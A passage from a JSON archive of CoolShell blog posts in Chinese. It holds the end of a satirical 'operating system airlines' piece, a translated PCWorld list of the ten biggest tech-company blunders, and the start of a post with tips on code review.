X航空公司，请您允许我给您照张相”，她一边指向了在墙上你没注意到的已经给你拍了照的照相机，一边对你说，“谢谢，这是您的机票”。一张最少上面有你照片的机票被递到了你的手上，上面已经有了你所有的信息。你右边的一扇门打开了，你走了进去，你看到了一个很宽敞的空间，只有一个座位在中间，你坐下，听着音乐，看着电影，直到飞行结束。你自始至终都不会看到其它的乘客。当你登陆下机的时候，你对你自己说：“哇，这确实相当的好啊，但感觉好像少了些什么”。</p>\n<p><strong>Windows Vista Airlines</strong></p>\n<p>你进入了一个非常漂亮的航站楼，旁边停着一架你从未见过的超级大的飞机。每隔10英尺，都会有一个安全人员出现，并问你是否“确认”你想要继续向前乘坐飞机，或者你可以取消这个飞行，当然，我们并不知道取消会意味着什么。你继续前行到一个桌子前询问为什么这架飞机那么大？在安全人员向你确认过你需要问问题并且你确实要听到回答后，工作人员告诉你，这是世界上最大的飞机，是因为它可以让乘客们感觉更好，但是因飞机的需求需要把飞机被设计成要比正常飞行速度慢两倍，所以他们只好加大尺寸，这样才能达到让他速度变慢的目标。</p>\n<p>一旦上了飞机，每一个乘客都会被乘务员单独地询问是否真的想要乘坐本次航班，因为这是公司的制度规定。同样，机场还会再向大家再次询问同样的问题。当你回答了若干次“是”以后，你却被一些陌生人（黑客）在你的脸上打了一拳，因为那些陌生人问你：“你真确定我可以打你的脸吗？‘确定’或是‘取消’”，而你却条件反射地回答了“确定”。</p>\n<p>在起飞的以后，飞行员意识到飞机的起落架驱动没有被更新，不能和新型的飞机在一些工作。所以，在整个飞机过程中，起落架都在处于降落的状态。这样一来，整个飞机飞行得更慢，但是飞行员继续飞行这样飞机，他们希望起落架的生产产商会尽快地给一个最新版本符合Vista航空公司标准的起落架驱动程序更新。</p>\n<p>终于，你到达了你的目的地，你却得到的是Windows XP航空公司的奖励里程而不是尝试新型的飞机的奖励。你的一个亲密的朋友在听过你的故事以后，告诉你Linux航空公司会好得多。</p>\n<p><strong>Linux Air</strong></p>\n<p>对其它所有航空公司都不满的员工决定离开他们自己的航空公司。他们开始自己建造飞机，机票柜台，以及自己铺设飞机跑道。他们只用很少的费用给你提供可打印的机票，但你完全可以自己下载下来打印机票。</p>\n<p>当你登机的时候，会有人递给你一个座位，四个螺栓，一个扳手和一本“安装座位-HOWTO.html”手册。一但安装好了，可随意调整或更改的座位可能让你相当地舒服，从飞机离开到目的地，其几乎不会发生一个错误，而且，飞机过程中的飞行餐非常不错。你会想去告诉选乘别的航空公司的乘客你那完美的经历，但你所能得到的回答是一句反问，“乘座飞机还要自己去安装自己的座位？”。</p>\n<p>（全文完）</p>\n<p>文章：<a href=\"http://www.linuxscrew.com/2007/10/07/fun-linux-unix-windows-os-x-and-dos-airlines/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-19 科技公司十大最愚蠢的错误.html",
    "content": "<html><body><p><span><img alt=\"Facebook in Yahoo's rear-view mirror\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-rearview_original.jpg\"/></span>有一些史上最大的高科技公司的交易没有发生。有一些最有前途的产品和服务也没出现。为什么？因为这其中的人和公司当时都没有意识到是什么样的东西滑过了他们的手指，或者，他们只是简单地不能预知未来会发生什么。</p>\n<p>如果事情还能再来一次，也许今天我们就不会看到Apple和Microsoft了，而且，Yahoo可能会成为世界上最大的搜索引擎，Google只能成为后者。你也许只能从施乐电脑上读这篇文章，从RealPod上听你最喜欢的频道。</p>\n<p>人们都说“事后诸葛亮”（ hindsight is 20-20，20/20是最好的视力），如果真是这样的话，那么，我们的分析就是最精确的。下面是我们挑选的历史上十大科技类公司丢失机会的案例。</p>\n<h2>1. Yahoo 错过 Facebook</h2>\n<p>2006年，当时只有2年的Facebook还在只服务于一些学校内的社交网络。那个时候的MySpace就拥有了1亿用户，完全超过了Facebook的8百万用户。所以，当 <a href=\"http://www.wired.com/techbiz/startups/news/2007/09/ff_facebook\" target=\"_blank\">Yahoo 提出使用10亿美金购买 Mark Zuckerberg 的孩子</a> 时（其将近 <a href=\"http://www.newscorp.com/news/news_251.html\" target=\"_blank\">2005年 Rupert Murdoch 收购 MySpace 金额的两倍</a>）人们都对说Fackbook的老大说，“Take the money and run, Mark。”，事实上，时年23岁的扎克伯格也的确于2006年6月与雅虎达成了协议。</p>\n<p><span id=\"more-1295\"></span></p>\n<p>然后，Yahoo发布了一些其糟糕的财政报告后，它的股价在一晚上就下跌了22%，当时Yahoo的CEO， Terry Semel，把购买价格下调到了8亿美金来购买Facebook，但被Mark Zuckerberg 拒绝，两个月后，Terry Semel 把收购价格提高到10亿美金，但那时已经太晚了。</p>\n<p>今天，Facebook已经扩大到了2亿5千万的注册用户，并且，它目前 <a href=\"https://coolshell.cn/article/165524/update_facebook_gets_200_million_in_cash.html\">值大约从 50亿美金 到100亿美金间的一个价格</a> （主要看谁来计算） 。而我们的Yahoo三年过去了，换了两个CEO，今天还在生存线上挣扎。</p>\n<p> </p>\n<h2>2. Real Networks 丢弃 iPod</h2>\n<p><img alt=\"Tony Fadell, inventor of the iPod\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-tonyfadell-applebiopic_180.jpg\"/>人们以为Steve Jobs 发明了iPod，但实际他没有，这是真的。Steve Jobs 只不过对一个因为<a href=\"http://www.historyofthings.com/history-of-the-ipod\" target=\"_blank\">Real Network没有采纳想法</a>的而离职的工程师Tony Fadell 说了“Yes”，而这个想法就是2000年秋天的一种全新音乐播放器（Tony Fadell 以前的同事 Philips 同样拒绝了Tony的这个新想法）。</p>\n<p>虽然 MP3 播放器已经出现很多看了，但是 <a href=\"https://coolshell.cn/article/167123-4/fathers_of_technology_10_unsung_heroes.html\">Fadell 的理念</a> 有一些小小的不同，他注重的是：更小，更精巧，并且专注于一个音乐的内容系统，这样，能够让音乐爱好者们很容易的填满他们的播放器——“pods” （Steve Jobs 则是最著名的驱动 iPod设计的人）</p>\n<p>今天，那个专注于音乐内容的系统叫iTunes，并且，Apple公司控制了80%的数字音乐的市场。 Fadell 在Apple的 iPod 事业部工作，不过最终于2008年11月离开了那里。Real Networks 今天还在继续他的流媒体，但它的利润已被被iTunes冲得肢离破碎了。（照片是Tony Fadell)</p>\n<h2>3. 索尼和东芝HD 的纷争</h2>\n<p><span><img alt=\"HD DVD versus Blu-ray\" class=\"alignleft\" src=\"http://images.pcworld.com/news/graphics/170337-blu-ray_disc2_180.jpg\"/>为了争夺一个新的 <a href=\"https://coolshell.cn/article/142584/hd_dvd_vs_bluray_disc_a_history.html\">高清晰光盘标准</a>，几年来，在格式上的这场争夺战中，参与者各方已付出了很昂贵的成本。在拳击台上的一角落里，站着Sony支持的蓝光</span>（Blu-ray），而另一个角落，站着Toshiba支持的 HD DVD。</p>\n<p>自从2002 开始，双方就开始争夺不休，各自的所签署的联盟阵营也只支持自己的互不兼容的格式。在2008 年，Sony 的刀刃插入了Toshiba的胸膛，让Toshiba停止了HD DVD的生产，2009年8月12日宣布正式加入蓝光阵营，Toshiba 反而成了蓝光这边最大的一个支持者之一， <a href=\"http://blogs.pcworld.com/staffblog/archives/006159.html\">华纳兄弟也花费了4亿美金宣布放弃HD DVD并加入蓝光阵营</a>。</p>\n<p>有趣的是，在上世纪90年代中期，这对冤家同样为电影的HR格式争斗，那个时候，当时双方搁置争议，把两边的最好的东西整合起来，成为了一个叫做 Digital Versatile Disc的东西，被人们简称DVD。</p>\n<p>这样一个事情，让多年参与HD格式之争的公司门损失惨重。如果在2002年，两边联手，HD光盘可能会在今天的电影和电视节目光盘中占有统治地位，然而，双方的争斗导致了成本的上升，和在市场上错失良机，今天，DVD卖得比蓝光还要多，基本上是10:1的样子，但是未来将会属于流媒体的视频点播。</p>\n<h2>4. Digital Research：另一个Microsoft</h2>\n<p><span><img alt=\"Gary Kildall, Digital Research\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-kildalltradingcard_180.jpg\"/>这是一个经典案例。在</span> 1980 年，当时的IBM正在寻找一些人为IBM的PC机做一个操作系统，当时的 Microsoft 并不是第一选择。当初的比尔·盖茨(Bill Gates)建议IBM与Digital Research的加里·基尔代尔(Gary Kildall)合作，后者也是 CP/M 操作系统的作者。</p>\n<p>传说，Kildall甩了IBM要单飞。但实际上是kildall接了另一个客户的订单去做另一个产品，仅让他自己的妻子和IBM谈判。 <a href=\"http://www.cadigital.com/kildall.htm\" target=\"_blank\">Dorothy Kildall ——他的妻子并不喜欢IBM的一些条款</a>，所以和IBM的合作也流产了。</p>\n<p>蓝色巨人只好回头找了Bill Gates和他的搭档Paul Allen，他们开发了MS-DOS，这是基于 Tim Paterson 的 QDOS （全称是the Quick and Dirty Operating System）, QDOS则是基于Gary Kildall的CP/M操作系统。 最后IBM提供了 Microsoft 的 DOS (售价$60) 和某版本的CP/M (售价$240) 给IBM PC的买家做选择，最后，便宜的产品获得了胜利。</p>\n<p>在DOS以前，Microsoft 最大的产品是 BASIC 编程工具。而在 DOS以后，是的，你知道这个公司干了什么。Microsoft 今天的成就是否和IBM的那个合同有关？我们永远也无法知道。也许，像Bill这样的人始终都能把握住这样的机会，而Gary则不能。</p>\n<h2>5. Xerox 错失 Alto 良机</h2>\n<p><span><img alt=\"The Xerox Alto (Courtesy of Wikimedia)\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-xerox_alto-wikimeda_180.jpg\"/>这也是另一个经典的故事。二十年前，在</span>Macintosh 和Windows PC之前，甚至在MITS Altair之前，已经存于 Alto，这是这个世界上第一个基于窗口图形界面的电脑（关于图形化的操作系统，大家可以看看这篇文章《<a href=\"https://coolshell.cn/articles/105.html\" title=\"操作系统图形界面发展史(1981-2009) - 1,632 次浏览\">操作系统图形界面发展史(1981-2009)</a>》）， 由<a href=\"https://coolshell.cn/article/115194/meet_the_movers_behind_the_first_pc.html\">Xerox PARC</a>发明， Alto 有鼠标，支持以太网络，以及所见即所得的WYSIWYG文本处理器。</p>\n<p>但是1973 年的“个人电脑”市场并不存在，所以 Xerox 并不知道Alto的潜力，也不知道如何处理它。这个公司制造了几千个这要电脑并把它们分发到了各个大学中。江湖上传闻，1979年的时候，当 Steve Jobs 参观Xerox PARC的时候，看到了Alto，回去后，把那些 <a href=\"https://coolshell.cn/article/114418/the_mac_turns_20.html\">许许多多的 Alto 的特性</a> 集成到了 Apple 的 Lisa 和Mac 电脑上。从那以后， Xerox 终于意识到了它的错误，然后把开始了 Xerox Star 的市场营销，Xerox Star是一个图形工作站，其基于Alto的技术。但是已经太晚了，太晚了。</p>\n<p> </p>\n<h2>6. 唱片业的一错再错</h2>\n<p><span><img alt=\"Napster logo\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-napster-logo-1999_180.jpg\"/></span>也许，没有哪个产业比音乐产业更能错过机会。</p>\n<p>在1999年，Shawn Fanning 的 Napster 创造了一个难以置信的一个让大容易共享音乐的在线平台。然后， <a href=\"https://coolshell.cn/article/17839/judge_in_napster_case_finds_in_favor_of_music_companies.html\">唱片公司们开始集体控诉Napster</a> ，侵害了他们的版权。然后，Napster 的 CEO Hank Barry 提倡音乐产业 <a href=\"http://iml.jou.ufl.edu/projects/Spring01/Burkhalter/hank's%20statement.html\" target=\"_blank\">采用那种电台广播的许可证协议</a> ，对通过网络传播音乐的人征收版税，可是他的这个倡议遇到了聋子的耳朵——无人响应。</p>\n<p>于是，Napster 的粉丝们非常快地跑到了其它的P2P的文件共享网络，如Gnutella 和Grokster，于是盗版音乐也成了RIAA（<span>美国唱片业协会</span>）的头号敌人。</p>\n<p>在2000年，MP3.com 启动了一个服务可以允许会员们上传歌曲到自己的私有的CD收集中，并且可以以流的方式传播到每一个PC上。再次， <a href=\"https://coolshell.cn/article/35165/mp3com_faces_new_litigation_days_after_settlement.html\">唱片行业控告 MP3.com 侵权</a>， 最终导致了 MP3.com 被迫出售，并被迫更改了其商业模式。</p>\n<p>再加上 <a href=\"https://coolshell.cn/article/64546/filesharing_services_sued.html\">RIAA 对 Grokster, Morpheus,</a> Kazaa, 和其它30,000 盗版单曲的指控，其它唱片行业损失了很多商业机会。</p>\n<p>当然，今天的音乐订阅业务和流媒体服务，诸如 Pandora 支配了数字音乐界，唱片公司也开始和网络公司签了协议。试想一样，如果唱片公司们和 Napster， MP3.com，或是其它一些网络共享者合作，而不是去指控他们，也许，这些唱片公司今天将会控制着数字音乐——而且不会有任何盗版的问题。</p>\n<h2>7. Compuserve 错过了主宰网络的机会</h2>\n<p><span><img alt=\"CompuServe logo\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-compuservepin-comdex1995_180.jpg\"/>看看今天的交互式应用，社区媒体式的，用户原创内容驱动式的（UGC），你看到了什么？一个1994年几乎完美版本的</span> CompuServe。但是，几乎主宰在线世界的 CompuServe 的屁股被AOL仅以AOL有500亿的免费CD踢得开了花。</p>\n<p>在上世纪90年代初， Compuserve Information Service 有着“令人难以置信的优势：一个坚定的客户基础，难以置信的对客户的使用模式分析的数据，一个难以复制的知识仓库，几乎没有竞争的环境”， Kip Gregory，一个管理顾问， <a href=\"http://www.winningclients.com/\" target=\"_blank\">Winning Clients in a Wired World</a> 一书的作者，说，“可能缺少的是……把这些优势都转变成可持续的领先的投入”。</p>\n<p>于是，AOL 来了，提供了一种“不限时的”统一费用，而 CompuServe 则是按小时充值，AOL提供了一个简单的界面，以及大规模，地毯式轰炸营销活动——为每位用户提供一张免费的CD。在CompuServe论坛上早期出现的组织纷纷转到了AOL的Web上，而CompuServe论坛对Web支持的不是很好。1997年，<a href=\"https://coolshell.cn/article/4512/aol_buying_compuserve_users_voice_opinions_about_possible_takeover.html\">AOL 获得了 CompuServe</a>, 并且，<a href=\"https://coolshell.cn/businesscenter/article/167903/farewell_compuserve_rip.html\">“CompuServe classic” 服务最终在同年6月安息了</a> 。</p>\n<p>CompuServe 失败不是错过了一个机会，而是错过了一堆， Gregory说，“我真的相信 CompuServe是一个非常重要的示例，这也是一个非常重要的教训——永远不要因为优势就裹足不前”。</p>\n<h2>8. 报业错过网络分类广告业务–Craigslist</h2>\n<p><span><img alt=\"Craigslist.org\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-craigslist_180.jpg\"/>报纸正在死亡，并且，几乎的所有的帐户（当然，所有的报纸帐户），</span> Craigslist 的的触角却延伸到各个地方的触角却延伸到各个地方，甚至可以在所有的犯罪现场被找到。 大家认为报纸的衰落是因为在线的免费的分类广告服务，这让很多行业的利润都极大的缩水，其中一个就是新闻报纸行业的那些“现金牛”(指现金净收入极大的项目,如沃尔玛超市)。</p>\n<p>2005年，全美报业分类广告的年收入总额为173亿美元。。从那以后，像Craigslist 这样使用分类广告的网站（如：Amazon, eBay, 和Google）几乎番了一番，根据 <a href=\"http://pewinternet.org/Reports/2009/7--Online-Classifieds.aspx?r=1\" target=\"_blank\">Pew研究中心</a>的报告，报业的分类广告的利润却减少了一半。</p>\n<p>如果回到2005年，那段报业分类广告利润很高的时候，如果某个报业集团收买了Craigslist，那么今天可能会非常地不一样。当然，首先他们将不得不说服Craigslist的创始人Craig Newmark出售。</p>\n<p>在<a href=\"https://coolshell.cn/article/141991/craigslist_founder_talks_about_open_source_banner_ads.html\">2008 年1月InfoWorld的采访中</a>，Newmark 说他的公司的角色在报纸行业瓦解中被报纸行业大大地夸大了，“我认为报纸最大的问题是需要去检查他们自己”他注解道。</p>\n<h2>9. Google 之前的 Google</h2>\n<p><span><img alt=\"Open Text, an early search engine\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-opentextlogo2009_180.gif\"/>在上世纪90年代中期，最热的搜索引擎不是Yahoo，不是</span> Alta Vista，不是 Lycos，也不是 Hot Wired，而是Open Text Web 索引。它和今天的Google 非常像，Open Text 以其速度，准确性和全面性著称，这个搜索引擎于1995 年由Open Text 公司宣称，其<a href=\"http://www.allbusiness.com/technology/software-services-applications-search-engines/7135767-1.html\" target=\"_blank\">索引了当时Web上大约5百万个页面上的每一个单词 </a>。那年 Yahoo 在其目录中集成了Open Text 的搜索技术。</p>\n<p>但是其和Yahoo合作两看后， Open Text 放弃了搜索而转移到企业级的内容管理方向上。一年以后，<a href=\"http://www.google.com/corporate/history.html\" target=\"_blank\">Google 才初次登场</a>。Open Text又是和机遇错过了，没有意识到搜索会变得有多大。</p>\n<p>“如果 Open Text 有什么事是比较特殊的，那就是他们比任何人都有和Google很相近的技术”， Steve Parker（一个帮助Yahoo启动Open Text搜索技术的通讯顾问）说， “它比Google早三年进入市场，所以Google不得不为了以更快的速度发展而使劲烧钱，并且，Google也不一定有足够的时间去成为市场的领导者。如果当初不是那样，也许，今天的山大王将会是Open Text ”。</p>\n<h2>10. Microsoft 拯救正在腐烂的苹果</h2>\n<p><span><img alt=\"Early Apple logo\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170219-apple_old_logo_original.jpg\"/>10年前，当Apple正处理严重的危机中。</span> Mac 的销售正在被Power Computing 和 Radius更便宜的山寨机复制时。整个公司动作在非常低的现金流中，苹果的股票跌到每股$5，并且，他们正在寻找新的CEO来取代 Gil Amelio。</p>\n<p>后来，Apple 收到了一大笔急需的现金注入——1亿5千万美金——从一个看上去不可能的源头： <a href=\"https://coolshell.cn/article/5156/microsoft_to_invest_in_apple_jobs_ellison_on_board.html\">Microsoft，还承诺继续开发Mac Office 套件</a>。这个交易由Apple的顾问Steve Jobs 和Microsoft商议而成，这一宣布曾经在Macworld Expo 博览会上被苹果的铁杆粉丝们暴以嘘声。这后，Steve Jobs成为了Apple的实习CEO。后面，我们都知道发生了什么。</p>\n<p>如果Microsoft 当时没有 <a href=\"https://coolshell.cn/businesscenter/article/169752/1997_steve_jobs_was_wrong_and_microsoft_saved_apple.html\">错过让苹果凋谢的这个机会</a>？我们可能会要在WinPhones上使用WinTunes而苦苦挣扎。在线的音乐和视频可能会停滞，或是更坏，被好莱坞控制着。而且，我们会因为没有Windows的另一个选择而长期地失望下去。这恐怕是唯一一个大家受益的“失误”了。</p>\n<p style=\"TEXT-ALIGN: center;\"><img alt=\"A young Steve Jobs\" src=\"http://images.pcworld.com/news/graphics/170337-youngstevejobs_original.jpg\"/>   <br/>\n年青的Steve Jobs</p>\n<p>文章：<a href=\"http://www.pcworld.com/article/170337/the_10_stupidest_tech_company_blunders.html\" target=\"_blank\">来源</a>（PCWorld）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11629.html\"><img alt=\"「我只是认真」聊聊工匠情怀\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/559.html\"><img alt=\"菜鸟学PHP之Smarty入门\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22422.html\"><img alt=\"是微服务架构不香还是云不香？\" height=\"150\" src=\"../wp-content/uploads/2023/05/monolith.microservices-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2492.html\"><img alt=\"WTF Javascript\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2492.html\">WTF Javascript</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1295.html\">科技公司十大最愚蠢的错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-20 Code Review中的几个提示.html",
    "content": "<html><body><p><img alt=\"Code Reivew\" class=\"alignright size-full wp-image-1303\" height=\"88\" src=\"../wp-content/uploads/2009/08/review.jpg\" title=\"Code Reivew\" width=\"124\"/>Code Review应该是软件工程最最有价值的一个活动，之前，本站发表过《<a href=\"https://coolshell.cn/articles/1218.html\" rel=\"bookmark\">简单实用的Code Review工具</a>》，那些工具主要是用来帮助更有效地进行这个活动，这里的这篇文章，我们主要想和大家分享一下Code Review代码审查的一些心得。</p>\n<p>首先，我们先来看看Code Reivew的用处：</p>\n<ol>\n<li>Code reviews 中，可以通过大家的建议增进代码的质量。</li>\n<li>Code reviews  是一个传递知识的手段，可以让其它并不熟悉代码的人知道作者的意图和想法，从而可以在以后轻松维护代码。</li>\n<li>Code reviews 也鼓励程序员们相互学习对方的长处和优点。</li>\n<li>Code reviews 也可以被用来确认自己的设计和实现是一个清楚和简单的。</li>\n</ol>\n<p>你也许注意到了在上面的Code Reivew中的诸多用处中，我们没有提到可以帮助找到程序的bug和保证代码风格和编码标准。这是因为我们认为：</p>\n<p><span id=\"more-1302\"></span></p>\n<ol>\n<li><strong>Code reviews <span style=\"color: #993300;\">不应该</span>承担发现代码错误的职责</strong>。Code Review主要是审核代码的质量，如可读性，可维护性，以及程序的逻辑和对需求和设计的实现。代码中的bug和错误应该由单元测试，功能测试，性能测试，回归测试来保证的（其中主要是单元测试，因为那是最接近Bug，也是Bug没有扩散的地方）</li>\n<li><strong>Code reviews <span style=\"color: #993300;\">不应该</span>成为保证代码风格和编码标准的手段</strong>。编码风格和代码规范都属于死的东西，每个程序员在把自己的代码提交团队Review的时候，代码就应该是符合规范的，这是默认值，属于每个人自己的事情，不应该交由团队来完成，否则只会浪费大家本来就不够的时间。我个人认为“meeting”是奢侈的，因为那需要大家在同一时刻都挤出时间，所以应该用在最需要的地方。代码规范比起程序的逻辑和对需求设计的实现来说，太不值得让大家都来了。</li>\n</ol>\n<p>10年前，上面这两件事会是理所当然的（10年前的中国的软件开发还没有Code Reivew呢），今天，在中国的很多公司上面这两件事依然被认为是Code Reivew最重要的事，所以，我能够看到很多开发Team抱怨Code Review就是一个形式，费时费力不说，发现的问题还不如测试，而评审者们除了在代码风格上有些见术，别的也就没什么用了，长而久之，大家都会开始厌烦这个事了。</p>\n<p>所以，在今天，请不要把上面的那两件事分散了Code Review的注意力，取而代之的是，对于Bug，程序的作者要在Review前提交自己的单元测试报告（如：XUnit的测试结果），对于代码规范，这是程序作者自己需要保证的，而且，有一些工具是可以帮你来检查代码规范的。</p>\n<p><strong>当然，上述这些言论并不是说，你不能在Code Review中报告一个程序的bug或是一个代码规范的问题。我只是说，那并不是Code Review的意图。</strong></p>\n<p>下面是我们认为的几个小提示可以让你更好进行Code Review这项最有价值的活动。</p>\n<h4>1.- 经常进行Code Review</h4>\n<p>以前经历过几个相当痛苦的Code Review，那几次Code Review都是在程序完成的时候进行的，当你面对那近万行的代码，以前N多掺和在一起的功能，你会发现，整个Code Review变得非常地艰难，用不了一会儿，你就会发现大家都在拼命地打着哈欠，但还是要坚持，有时候，这样的Review会持续3个小时以上，相当的夸张。而且，会议上会出现相当多的问题和争论，因为，这就好像，人家都把整个房子盖好了，大家Review时这挑一点那挑一点，有时候触动地基或是承重墙体，需要大动手术，让人返工，这当然会让盖房的人一下就跳起来极力地维护自己的代码，最后还伤了团队成员的感情。</p>\n<p>所以，千万不要等大厦都盖好了再去Reivew，而且当有了地基，有了框架，有了房顶，有了门窗，有了装修，的各个时候循序渐进地进行Review，这样反而会更有效率，也更有帮助。</p>\n<p>下面是一些观点，千万要铭记：</p>\n<ul>\n<li><strong>要Review的代码越多，那么要重构，重写的代码就会越多。而越不被程序作者接受的建议也会越多，唾沫口水战也会越多。<br/>\n</strong></li>\n<li><strong>程序员代码写得时候越长，程序员就会在代码中加入越来越多的个人的东西。</strong> 程序员最大的问题就是“自负”，无论什么时候，什么情况下，有太多的机会会让这种“自负”澎涨开来，并开始影响团队影响整个项目，以至于听不见别人的建议，从而让Code Review变成了口水战。</li>\n<li><strong>越接近软件发布的最终期限，代码也就不能改得太多。</strong></li>\n</ul>\n<p>我个人的习惯，并且也是对团队成员的要求是——先Review设计实现思路，然后Review设计模式，接着Review成形的骨干代码，最后Review完成的代码，如果程序复杂的话，需要拆成几个单元或模块分别Review。当然，最佳的practice是，每次Review的代码应该在1000行以内，时间不能超过一部电影的时间——1.5小时（因为据说那个一个正常人的膀胱可以容纳尿液的最长限度）</p>\n<p>当然，在敏捷开发中，他们不需要Code Reivew，其实，敏捷开发中使用更为极端的“结对编程”（Pair-Programming）的方法 —— 一种时时刻刻都在进行Code Review的方法，个人感觉在实际过程中，这种方法有点过了。另外，大家可以看看本站的另一篇文章《<a href=\"https://coolshell.cn/articles/16.html\" rel=\"bookmark\">结对编程的利与弊</a>》来了解一下这种方法的问题。</p>\n<h4>2.- Code 